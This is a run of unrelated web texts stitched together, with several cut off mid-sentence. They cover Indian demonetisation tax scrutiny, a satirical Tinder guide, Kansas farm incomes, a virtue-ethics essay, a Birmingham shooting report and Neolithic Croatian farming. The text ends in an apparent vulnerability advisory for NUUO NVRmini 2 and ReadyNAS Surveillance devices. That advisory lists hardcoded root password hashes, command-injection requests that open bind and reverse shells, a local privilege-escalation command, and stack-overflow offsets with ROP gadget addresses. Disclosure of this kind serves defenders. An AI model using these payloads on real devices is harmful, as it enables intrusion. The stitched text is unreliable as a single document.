It was never clear to us Microsoft watchers what Microsoft ultimately planned to do with Midori. From Duffy's blog, it sounds like the team members weren't so sure, either.
"I'll be the first to admit, none of us knew how Midori would turn out. That's often the case with research," Duffy said.
"My biggest regret is that we didn't OSS (open source) it from the start, where the meritocracy of the Internet could judge its pieces appropriately," Duffy added. "As with all big corporations, decisions around the destiny of Midori's core technology weren't entirely technology-driven, and sadly, not even entirely business-driven. But therein lies some important lessons too."New Delhi: Will the partial demonetisation and consequent scrutiny of high value bank deposits bring the Indian farmer under the tax net?
Yes, if the farmer is making large cash deposits derived from non-farm sources but masked as farm income, the income tax department said.
But this could potentially trigger a political backlash against the Bharatiya Janata Party (BJP)-led National Democratic Alliance.
So far, successive governments have resisted any move to tax farmer’s income. But all this may be about to change.
The income tax department will scrutinize all high value cash deposits and cross check if it is in line with the land holdings of the farmer and the corresponding yields. In case there is a large discrepancy, the farmer will be asked to explain this difference.
“Since farmers’ genuine income is not taxable, the farmers should not worry at all in depositing the old currency notes in their account. However, the farmer’s income should not be disproportionately high compared to yield expected from the land owned by him," revenue secretary Hasmukh Adhia tweeted late on Wednesday night.
Earlier this week, the government scrapped existing Rs500 and Rs1,000 notes and asked the public to deposit these bills with banks and post offices by 30 December.
Explaining the scrutiny process, a senior income tax department official said, “We will get all information about deposits of more than Rs2.5 lakh. For large deposits by a farmer, we will ask him to explain the source. We will send them a letter in case of a discrepancy," said a senior official of the income tax department, who did not wish to be identified.
At present, if more than Rs10 lakh is deposited in a bank, the information is forwarded to the tax department. Thereafter, it scrutinizes tax returns of the individual and undertakes action as required.
To be sure, over the last few years, the tax department has been identifying tax evaders who pass off non-farm income as farm income. In a statement in the Rajya Sabha earlier this year, finance minister Arun Jaitley said the tax department is probing cases where tax evaders are trying to pass off income from other sources as farm income.
“There is no tax on agricultural income. A farmer does not need to worry if he is depositing genuine farm income in bank accounts," Jaitley said on Thursday.
A senior NDA leader aware of the development said, “There is no plan to start taxing farmers," before adding, “The government is very clear that farmers will not be taxed but they should not get involved in illegal activities."
The Congress is, however, looking to politicize the issue. “They are trying to introduce a back door entry for taxing agriculture income. Such a decision has never been taken before. It exposes their mindset because when farmers committed suicide, they did not bother and now they want to do this," said P L Punia, senior Rajya Sabha member and Congress spokesperson.Just because you both swiped right doesn’t mean you’re guaranteed to get a date. Here are eight tips to writing a first line on Tinder that’ll definitely make you stand out from the pack.
1. Preface each new piece of personal information with the word “BEHOLD!”: Typing the word “BEHOLD!” before each new piece of personal information you include in your message will let your match know where to pay extra-close attention.
Advertisement
2. Ask them if they like to do laundry: As soon as you match with someone, demand that your match tell you whether or not they like to do laundry. This is a great way to bond over a shared interest. If their bio already mentions that they like to do laundry, write something like, “Aha! I see that you are a laundry musketeer like me! This makes me in love with you and ready for your kiss in the bed.”
3. Tell them that they look like famous art and/or some kind of beautiful fish: A little flattery can go a long way.
4. Show them that you’re not shallow by letting them know that you don’t care how much they weigh: Nobody wants to date someone who places too much emphasis on superficial things like physical appearance. Let your match know that you’re a complex and thoughtful person by telling them that you’ll never need to know how much they weigh.
Advertisement
5. Use capital letters to indicate when you are shouting: When you’ve reached a part of your Tinder message where shouting is necessary, write in capital letters to communicate to your match that you are currently yelling.
6. Show them that you’re vulnerable by reminding them several times that you will one day die: While confidence is important during a prospective romantic encounter, it’s also important to show that you’re a human being with insecurities just like everyone else. During your opening Tinder message, be sure to remind your match that you are mortal and will one day perish. This will make you seem charming and easy to relate to!
7. Politely invite them to never see you naked: Nothing can kill a budding Tinder romance faster than coming on too strong in the sexual department. Politely invite your match to never know what you look like in the nude in order to keep things civil.
Advertisement
8. Avoid appearing desperate by telling your match that you hate them and might one day run them over with a train: Desperation is very unattractive. What your match wants is someone who appears cool and detached and doesn’t seem overeager to get laid. Communicate this indifference by letting your date know that you will one day kill them with a train.
Great! Now that we know the basics, let’s see if we can improve on this basic Tinder opening:
Advertisement
Pretty boring, right? When we apply our tips, we get a much better opener:
Awesome! Now, try crafting your own perfect pickup line and show off your results!Farmers' incomes not likely to improve in 2017 Copyright by KSNW - All rights reserved Supply and demand has hit Kansas farmers hard. [ + - ] Video
GARDEN CITY, Kan. (KSNW) -- Kansas farmers are facing a real dilemma as 2016 comes to a close.
Many are considering switching crops to try and increase their profits or in some cases, make a profit, because for many of them, the math doesn't look good.
"For one farmer to grown one bushel of corn usually costs about four dollars and 20 cents per bushel," said John Jenkinson, KSN's agriculture expert. "Right now, for cash, he's receiving only three dollars per bushel for that bushel of corn."
Kansas farmers spent 2016 losing money, and 2017 isn't looking any better. Because of record harvests, prices and incomes are likely to stay the same, if not worsen
"Can they go lower? Absolutely," said Jenkinson. "Will they go lower? Chances are they might, but there's no doubt that we're going to stay at these depressed levels, at least for the next 12 months."
He says it could take up to two years for things to turn around for farmers and described two scenarios that would help raise farmers' incomes.
"A weakening dollar so that the United States farmer can remain competitive in a global market, or the other would have to be a major weather even somewhere that would reduce the crop supply or the livestock supply."
He also said ratifying the Trans-Pacific Partnership would open up new markets to sell excess grain to.
While several Kansas farmers expressed the same hope for the TPP as Jenkinson, the incoming administration has been very vocal against the trade agreement.
It's forcing farmers to adapt.
"They're not planting as much high-input crops like corn and wheat," said Jenkinson. "They're going to turn to more profitable crops like soybeans or possibly sunflowers."
With farmers sitting on excess wheat and corn, soybeans and sunflowers are looking like good alternatives, since they are in demand around the world.
Lots of rain in March is what saved the state's crop.
The 2016 Kansas wheat harvest turned out to be the sixth largest crop in the state's history. Farmers harvested a bin-buster 454 million bushels.
According to the state agriculture statistics, that's up 41 percent over the 2015 harvest.This next piece in my series on arguments for libertarianism looks at virtue ethics. Which presents something of a problem. Most of the ways to justify a libertarian state begin with a moral philosophy and then extend it to politics. This was the case with the last three installments on Robert Nozick. Nozick takes the idea of basic rights already familiar to most of us and asks what sort of state they allow. Similarly, consequentialist libertarianism–where I’ll likely turn next–draws on another familiar moral philosophy: what’s right is whatever produces the best results.
But unless you’ve studied moral philosophy, it’s unlikely you’ve even heard of virtue ethics. And, unless you’ve studied virtue ethics, it’s unlikely you have much of a sense of what it’s all about. This is in large part because virtue ethics looks almost nothing like other schools in its basic approach to addressing moral issues.
Which all means I probably can’t assume the kind of background knowledge I did with Nozick or I will with consequentialism. And that means first writing a post introducing virtue ethics, before moving on to what it’s all got to do with libertarianism. Before undertaking that task, however, it’s important to be clear about something. Just as “consequentialism” isn’t a single, agreed upon moral theory but rather a name for a category of theories often in disagreement, virtue ethics is a school of thought, with multiple, often conflicting forms. In what follows, I do my best to stick to the areas of agreement and paint with broad strokes, avoiding the niggling–and for now, unnecessary–details.
Let’s start with the biggest difference between virtue ethics and other schools of moral philosophy. Typically, the key question of morality is “What’s the right action?” For consequentialists, the answer is whichever choice produces the best results. They’ll differ on what “results” means, though typically they’ll say it has to do with “the most happiness” or “the least pain.”
Deontologists hold that the right action is whichever conforms to proper rules or duties. While the content of those duties varies among deontologists, most libertarians align them with natural rights. Thus the morally right action is the one that doesn’t violate another person’s rights. Any action violating rights constitutes a moral wrong.
Libertarians will recognize this divide. On the consequentialist side, you have people like Ludwig von Mises and David Friedman, who argue that free markets just work better than the alternatives. On the deontological side, we find Murray Rothbard and Robert Nozick, grounding their libertarianism in fundamental human rights. Writes Nozick, “Individuals have rights, and there are things no person or group may do to them (without violating their rights).”
Virtue ethicists think they’re all starting with the wrong question. Rather than “What is the right action?,” we should ask “What is a good (i.e., virtuous) person?”
A good person is a person living a good life by the standards we share because of our common humanity. In other words, what’s a good life for humans is not the same as a good life for cats or a good life for tulips. We have a nature, and that nature defines the contours of the good life, just as our nature defines the contours of good nutrition.
But does this mean there’s really only one sort of good life? That we can’t reasonably disagree about what makes a life good? Yes and no. Yes, in the sense that two lives, both equally good, may look rather different in their details. A good life lived by an urban business woman isn’t much like a good life lived by a member of the Amish. And clearly we don’t want to say that only the Amish live good lives or only cosmopolitan city dwellers do.
But at the same time, enormous commonalities exist between good lives of any sort. To have a good life is to be loving and be loved. It is to pursue–and one hopes, achieve–meaningful accomplishments. It is to be fair and honest and kind. No one really believes otherwise. Would any of us defend as “good” a life without love, without accomplishments? One filled with dishonesty and animosity? A life of violence and insecurity? Certainly not.
It is that sort of good life, defined in broad universals, that virtue ethics is all about. It’s the sort of life we’re talking about when we say, “He’s a good man.” We all know what that means.
The ancient greek philosopher Aristotle, whose writings inspire and inform most modern virtue ethical thinking, called this good life one of “eudaimonia.” While often translated as happiness, the term more precisely means something like “human flourishing.” Eudaimonia isn’t found in a moment but rather in a lifetime. Only at the end of our lives can we be sure we’ve achieved it, as it takes into account the life as a whole. Eudaimonia is the well-lived life. Thus we can be on the path to it even at those times when we are immediately unhappy, as those temporary bouts of displeasure can have effects that enrich and improve our lives as a whole.
Our purpose as humans is to find eudaimonia. (And this isn’t just a purpose, but a strong desire. Who, after all, wants to lead a bad life?) The way we assure our lives will be good is to possess virtues and to make choices in accord with them. In order to achieve eudaimonia–to live well–we need access to goods and we need to possess virtue.
Goods are things like food, shelter, clothing, books, health, education, and so on. Without them, we won’t have the resources necessary to let us cultivate virtue. Clearly this is one of the points by which virtue ethics can lead to libertarianism. For free markets represent the best way humanity’s found for delivering goods. Thus if goods are necessary for virtuousness, which is necessary for eudaimonia, then a system of markets will be preferable to one without.
Next, we need virtues of character. These we’re all familiar with: compassion, courage, hope, integrity, honesty, benevolence, and so on. They can be thought of as both skills and dispositions. We have to fully understand the content of the virtue, which is why virtue ethics places such emphasis on moral education. We must also be disposed to act in accord with the virtue. I may understand benevolence, but unless I’m inclined to act in accord with it, I’m not myself benevolent.
Finally, we need the virtue of practical wisdom. This is the skill of understanding what virtues apply to a situation and how to act in such a way as to manifest them. Practical wisdom is the trait of being morally wise. Without it, I may act out of a sense of benevolence, but my actions could do harm to those I intend to help, and so I won’t truly be benevolent. Thus practical wisdom is a necessary component of–or prerequisite to–all the virtues.
Thus a virtuous person is one who has learned about and fully internalized all of the virtues. They have become a key part of who he is, such that his actions are always motivated by them. And he has the practical wisdom necessary to ensure that his motivations and his actions are in line.
Really being virtuous means we don’t try to behave morality, because if we have to try–if our urges tell us to do something else–then we haven’t properly internalized the virtues. Instead, we aim to be virtuous people and, when we are, one of the results will be morally right action. Here again we see an important connection between virtue ethics and libertarianism. Virtue is a character trait, not a command. It is something we must achieve ourselves (though certainly with help from others), not something that can be forced upon us by the state. The state may provide part of the framework that enables us to achieve virtuousness, but it cannot (and so should not try to) make us virtuous.
Taking morally right actions isn’t why one cultivates virtue, of course. Rather one cultivates virtue because being virtuous is just what it means to achieve eudaimonia. The virtuous life is the good life.
With all this in mind, we can finally answer the question of moral action. To act well when faced with a moral dilemma is to do whatever a virtuous person would characteristically do in a similar situation. A fully virtuous person possesses all the virtues, as well as the practical wisdom to act well. We say “act well” instead of “right action” because virtue ethics acknowledges that not all dilemmas have a right answer. Two virtuous people, in the same circumstances, could take different actions, while both acting in accord with the virtues.
Notice that this formulation is not a recipe for acting morally but, rather, a means to evaluate the morality of an action. If presented with a moral dilemma, we shouldn’t ask, “What would a virtuous person do in this situation.” Rather, we should act in accord with what our own virtue tell us to do. Thus a person lacking virtue will not be able to behave virtuously–though he can still stumble upon the right moral action by accident.
In one sense, this means virtue ethics isn’t as clear a path to right moral action as the alternatives. You can’t just apply a rule and get a result. Rather, virtue ethics says, “Let us start by enabling people to develop kindness, honesty, prudence, caring, and so on. Then we we can trust those virtuous people to act well.” In fact, the acting well will simply be whatever choices those virtuous people make.
It’s possible to argue that much of the wisdom of consequentialism and deontology can find a place within a virtue ethical framework. A virtuous person will care about the consequences of his actions and he will act in ways that respect the autonomy of others. We cannot achieve eudaimonia by actively and consistently doing harm, nor can we achieve it by treating our fellow humans as means instead of ends.
And all of this has profound implications for the state, a topic I’ll turn to next time.Update | Saturday, 1:53 p.m.
Henry Pugh Jr., 28, of Birmingham, was arrested Saturday morning on an attempted murder charge after he allegedly shot his father and attempted to shoot police officers Friday night, the Jefferson County Sheriff's Office said.
Pugh, who managed to elude capture after the shooting incident in the 300 block of Trenton Street, was apprehended this morning without further incident. He is being held in the Jefferson County Jail on a $60,000 bond.
----
Update | 9:39 p.m.
Statement from the Jefferson County Sheriff's Office:
Just after 6:00 pm this evening deputies were called to investigate a report of a shooting in the 300 block of Trenton Street in McDonald's Chapel. Birmingham Police reported that a man suffering a gunshot wound had walked into a nearby fire station for help. He was transported to the hospital with non-life threatening injuries. Birmingham Police Officers went to the area of the shooting to search for the suspect and reported that they were fired on. No officers were injured.
Deputies arrived on the scene and it was determined that the original incident occurred in an unincorporated area of the county at a residence in the 500 block of Trenton Street.
The initial investigation indicates that the victim's son told him that he could not leave the house. When he began to leave the son shot him in the shoulder. The reason for the shooting was not immediately clear. After the shooting the victim was driven to the fire station. The suspect fled on foot into a nearby wooded area. Deputies are currently searching for the suspect.
The investigation is ongoing and updates will be provided as they become available.
Update | 7:52 p.m.
Authorities continue to search for the man accused of shooting his father before opening fire at Birmingham police officers. Family members at the scene identified the shooting suspect as Henry Pugh Jr.
According to court records, Pugh was arrested on Sept. 30 on a disorderly conduct charge. In a deposition, deputies stated that Pugh was yelling and cursing at customers at a gas station and later told a deputy that he was there to do God's work and waiting on a person he was going to kill. He was taken into custody and transported to the Jefferson County Jail, where Pugh allegedly told deputies his name was "Rooster One Eye." He refused to give them his real name, according to court records.
Jefferson County deputies are assisting the Birmingham Police Department after a shooting Friday evening.
It happened in the 300 block of Trenton Street in McDonald Chapel. The victim went to a fire station for help and police were called. When investigators arrived to the scene where the shooting was reported, officers say a man shot at them with a rifle then fled into a wooded area. Officers, deputies and a K-9 unit are still searching for the suspect.
No officers were injured in the shooting, authorities said.
ABC 33/40 crews are on the way to the scene and will bring you the latest online and on the News at 10.ARCHIVES
(5943 articles):
By Date April 2018 February 2018 January 2018 December 2017 November 2017 October 2017 August 2017 June 2017 March 2017 February 2017 January 2017 December 2016 November 2016 October 2016 September 2016 August 2016 July 2016 June 2016 May 2016 April 2016 March 2016 February 2016 January 2016 December 2015 November 2015 October 2015 September 2015 July 2015 June 2015 May 2015 April 2015 March 2015 February 2015 January 2015 December 2014 November 2014 October 2014 September 2014 August 2014 July 2014 June 2014 May 2014 April 2014 March 2014 February 2014 January 2014 December 2013 November 2013 October 2013 August 2013 July 2013 June 2013 May 2013 April 2013 March 2013 February 2013 January 2013 December 2012 November 2012 October 2012 September 2012 August 2012 July 2012 June 2012 May 2012 April 2012 March 2012 February 2012 January 2012 December 2011 November 2011 October 2011 September 2011 August 2011 July 2011 June 2011 May 2011 April 2011 March 2011 February 2011 January 2011 December 2010 November 2010 October 2010 September 2010 August 2010 July 2010 June 2010 May 2010 April 2010 March 2010 February 2010 January 2010 December 2009 November 2009 October 2009 September 2009 August 2009 July 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 November 2008 October 2008 September 2008 August 2008 July 2008 June 2008 April 2008 March 2008 February 2008 January 2008 December 2007 November 2007 October 2007 September 2007 August 2007 July 2007 June 2007 May 2007 April 2007 March 2007 February 2007 January 2007 December 2006 November 2006 October 2006 September 2006 August 2006 July 2006 June 2006 May 2006 April 2006 March 2006 February 2006 January 2006 December 2005 November 2005 October 2005 September 2005 August 2005 July 2005 June 2005 May 2005 April 2005 March 2005 February 2005 January 2005 December 2004 November 2004 October 2004 September 2004 August 2004 July 2004 June 2004 May 2004 April 2004 March 2004 February 2004 January 2004 December 2003 November 2003 October 2003 September 2003 August 2003 July 2003 June 2003 May 2003 April 2003 January 2003 November 2001 October 2001 September 2001 March 2001 November 2000 July 2000 May 2000 April 2000 February 2000 January 2000 December 1999 November 1999 October 1999 September 1999 July 1999 June 1999 April 1999 March 1999 November 1998 August 1998
By Region Africa Americas Asia Australasia England France Iberian peninsula Ireland Italy Middle East Rest of Europe Scotland Wales EDITORIAL TEAM:
Clive Price-Jones
Diego Meozzi
Paola Arosio
Philip Hansen
Wolf Thandoy
If you think our news service is a valuable resource, please consider a donation. Select your currency and click the PayPal button:
Euro Pound Sterling U.S. Dollar --------------- Australian Dollar Canadian Dollar Swiss Franc Czech Koruna Danish Krone Hong Kong Dollar Hungarian Forint Japanese Yen Norwegian Krone NZ Dollar Polish Zloty Swedish Krona Singapore Dollar
Main Index
Podcast
Tweet
9 January 2011
Early farming spread swiftly in Croatia New excavations, described in San Antonio at the annual meeting of the Archaeological Institute of America, unveil how southern Croatia was a hub for early farmers who spread their sedentary lifestyle from the Middle East into Europe. Farming villages sprouted swiftly in this coastal region, called Dalmatia, nearly 8,000 years ago, apparently with the arrival of Middle Easterners already adept at growing crops and herding animals, says archaeologist Andrew Moore of Rochester Institute of Technology in New York.
Moore codirects an international research team, with archaeologist Marko Mendušic of Croatia's Ministry of Culture in Šibenik, that has uncovered evidence of intensive farming at Pokrovnik and Danilo Bitinj, two Neolithic settlements in Dalmatia. Plant cultivation and animal raising started almost 8,000 years ago at Pokrovnik and lasted for close to a millennium, according to radiocarbon dating of charred seeds and bones from a series of occupation layers. Comparable practices at Danilo Bitinj lasted from about 7,300 to 6,800 years ago. "Farming came to Dalmatia abruptly, spread rapidly and took hold immediately," Moore says.
Other evidence supports a fast spread of sophisticated farming methods from the Middle East into Europe, remarks Harvard University archaeologist Ofer Bar-Yosef. Farming villages in western Greece date to about 9,000 years ago, he notes. Middle Eastern farmers exploited a wide array of domesticated plants and animals by 10,500 years ago, setting the stage for a westward migration, Bar-Yosef says.
Other researchers began excavating Pokrovnik and Danilo Bitinj more than 40 years ago. Only Moore and his colleagues dug deep enough to uncover signs of intensive farming. Their discoveries support the idea that agricultural newcomers to southern Europe built villages without encountering local nomadic groups, Moore asserts. Earlier excavations at Neolithic sites in Germany and France raise the possibility that hunter-gatherers clashed with incoming villagers in northern Europe, he notes.
Surprisingly, Pokrovnik and Danilo Bitinj residents grew the same plants and raised the same animals, in the same proportions, as today's Dalmatian farmers do, Moore says. Excavated seeds and plant parts show that ancient villagers grew nine different domestic plants - including emmer, oats and lentils - and gathered blackberries and other wild fruits. Animal bones found at the two villages indicate that residents primarily herded sheep and goats, along with some cattle and a small number of pigs. Diverse food sources provided a hedge against regional fluctuations in rainfall and growing seasons, according to Moore. "This is an astonishing demonstration of agricultural continuity from the Neolithic to present times," he says.
Aside from farming, Neolithic villagers in Dalmatia were "oriented toward the sea, and enjoyed extensive long-distance contacts," Moore adds. Chemical analyses of obsidian chunks found at Pokrovnik and Danilo Bitinj, directed by archaeologist Robert Tykot of the University of South Florida in Tampa, trace most of them to Lipari, an island off Sicily's north coast.
Shapes and styles of pottery from the ancient Dalmatian villages changed dramatically several times during the Neolithic. Moore's team can't explain why these shifts occurred while the farming economy remained the same. Other than three children found in separate graves, the researchers have unearthed no human skeletons at Pokrovnik and Danilo Bitinj. Edited from ScienceNews (7 January 2011) Share this webpage:
Tweet
Next entry: Previous entry: 6000-year-old findings discovered in southern China Next entry: Stone Age artifacts found in Nepal
Copyright Statement
Publishing system powered by Movable Type 2.63 HOME • SHOP • TOURS • PREHISTORAMA • FORUMS • GLOSSARY • MEGALINKS • FEEDBACK • FAQ • ABOUT US TOP OF PAGE ^^^Uruguay reportedly kicks out senior diplomat for involvement in planting dummy bomb at Israeli embassy, in likely prep for terror attack.
Uruguay has expelled a senior Iranian diplomat over last month's planting of a dummy bomb near Israel's embassy in Montevideo, Haaretz reported on Friday.
Citing an unidentified "senior official in Jerusalem," it said the diplomat was expelled two weeks ago, and although Uruguayan officials briefed Israel on the move they made no public announcement, reports AFP.
"Investigations carried out by Uruguay's intelligence services after the discovery of the device yielded information pointing to a possible involvement of someone at the Iranian embassy," the report revealed.
It noted "the Uruguayan government turned to Iran's government for information and after consultations between the two, it was decided to expel one of the senior diplomats at Iran's embassy."
The Foreign Ministry declined to confirm or deny the report. "I am aware of it but I have nothing to add," a spokesman told AFP.
On January 8, Mont |
Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7::: NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7::: #6 Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";<command>;# Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23 NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23 Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. #7 Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters. Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t'system' \"Activate license: %s\"", sn); system(&command); For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa(... repeat 'a' 4000 times) A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x61616160 in?? () (gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb) The request can be sent by an HTTP GET or POST method. A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992 On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002 Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. 0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 